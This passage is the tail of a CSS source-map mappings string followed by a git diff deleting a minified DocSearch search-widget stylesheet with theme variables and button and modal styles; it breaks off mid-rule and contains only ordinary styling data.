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" -} \ No newline at end of file diff --git a/public/scss/component/docsearch.css b/public/scss/component/docsearch.css deleted file mode 100644 index 7b45a98..0000000 --- a/public/scss/component/docsearch.css +++ /dev/null @@ -1,7 +0,0 @@ -/*! @docsearch/css 3.2.0 | MIT License | © Algolia, Inc. and contributors | https://docsearch.algolia.com | https://cdn.jsdelivr.net/npm/@docsearch/css@3 */:root{--docsearch-primary-color: #5468ff;--docsearch-spacing: 12px;--docsearch-icon-stroke-width: 1.4;--docsearch-highlight-color: var(--docsearch-primary-color);--docsearch-muted-color: #969faf;--docsearch-container-background: rgba(255, 255, 255, 0.1);--docsearch-logo-color: #5468ff;--docsearch-modal-width: 560px;--docsearch-modal-height: 600px;--docsearch-modal-shadow: inset 1px 1px 0 0 hsla(0, 0%, 100%, 0.5), 0 3px 8px 0 #555a64;--docsearch-searchbox-height: 56px;--docsearch-searchbox-focus-background: #fff;--docsearch-searchbox-shadow: inset 0 0 0 2px var(--docsearch-primary-color);--docsearch-hit-height: 56px;--docsearch-hit-color: #444950;--docsearch-hit-active-color: #fff;--docsearch-hit-background: #fff;--docsearch-hit-shadow: 0 1px 3px 0 #d4d9e1;--docsearch-footer-height: 44px;--docsearch-footer-shadow: 0 -1px 0 0 #e0e3e8, 0 -3px 6px 0 rgba(69, 98, 155, 0.12) -}:root[data-color="dark"]{--docsearch-modal-shadow: inset 1px 1px 0 0 #2c2e40, 0 3px 8px 0 #000309;--docsearch-searchbox-focus-background: #000;--docsearch-hit-color: #bec3c9;--docsearch-hit-shadow: none;--docsearch-hit-background: #090a11;--docsearch-footer-shadow: inset 0 1px 0 0 rgba(73, 76, 106, 0.5), 0 -4px 8px 0 rgba(0, 0, 0, 0.2);--docsearch-muted-color: #7f8497 -}:root[data-color="night"]{--docsearch-modal-shadow: inset 1px 1px 0 0 #2c2e40, 0 3px 8px 0 #000309;--docsearch-searchbox-focus-background: #000;--docsearch-hit-color: #bec3c9;--docsearch-hit-shadow: none;--docsearch-hit-background: #090a11;--docsearch-footer-shadow: inset 0 1px 0 0 rgba(73, 76, 106, 0.5), 0 -4px 8px 0 rgba(0, 0, 0, 0.2);--docsearch-muted-color: #7f8497 -}.DocSearch-Button{width:100%;line-height:1.6em;align-items:center;box-shadow:var(--box-shadow);border-radius:24px;color:var(--color);cursor:pointer;display:flex;justify-content:space-between;margin:0 12px;padding:3px 6px;user-select:none}.DocSearch-Button:active,.DocSearch-Button:focus,.DocSearch-Button:hover{background:var(--docsearch-searchbox-focus-background);box-shadow:var(--docsearch-searchbox-shadow);color:var(--color);outline:none}.DocSearch-Button-Container{align-items:center;display:flex}.DocSearch-Search-Icon{stroke-width:1.6}.DocSearch-Button-Placeholder{font-size:1rem;padding:0 12px 0 6px;color:var(--color3)}.DocSearch-Button-Keys{display:flex;min-width:calc(40px + .8em)}.DocSearch-Button-Key{align-items:center;border-radius:3px;color:var(--docsearch-muted-color);display:flex;height:18px;justify-content:center;margin-right:.4em;position:relative;border:1px solid var(--border-color);width:20px}@media (min-width: 1278px){.DocSearch-Button{width:80%;margin:0}}@media (min-width: 2558px){.DocSearch-Button{width:60%}}@media (min-width: 3838px){.DocSearch-Button{width:40%}}.DocSearch--active{overflow:hidden !important}.DocSearch-Container,.DocSearch-Container *{box-sizing:border-box}.DocSearch-Container{background-color:var(--docsearch-container-background);height:100vh;left:0;position:fixed;top:0;width:100vw;z-index:200;backdrop-filter:blur(var(--blur));-webkit-backdrop-filter:blur(var(--blur))}.DocSearch-Container a{text-decoration:none}.DocSearch-Link{appearance:none;background:none;border:0;color:var(--docsearch-highlight-color);cursor:pointer;font:inherit;margin:0;padding:0}.DocSearch-Modal{background:var(--background);border-radius:6px;box-shadow:var(--docsearch-modal-shadow);flex-direction:column;margin:60px auto auto;max-width:var(--docsearch-modal-width);position:relative}.DocSearch-SearchBar{display:flex;padding:var(--docsearch-spacing) var(--docsearch-spacing) 0}.DocSearch-Form{align-items:center;background:var(--docsearch-searchbox-focus-background);border-radius:4px;box-shadow:var(--docsearch-searchbox-shadow);display:flex;height:var(--docsearch-searchbox-height);margin:0;padding:0 var(--docsearch-spacing);position:relative;width:100%}.DocSearch-Input{appearance:none;background:transparent;border:0;color:var(--docsearch-text-color);flex:1;font:inherit;font-size:1.2em;height:100%;outline:none;padding:0 0 0 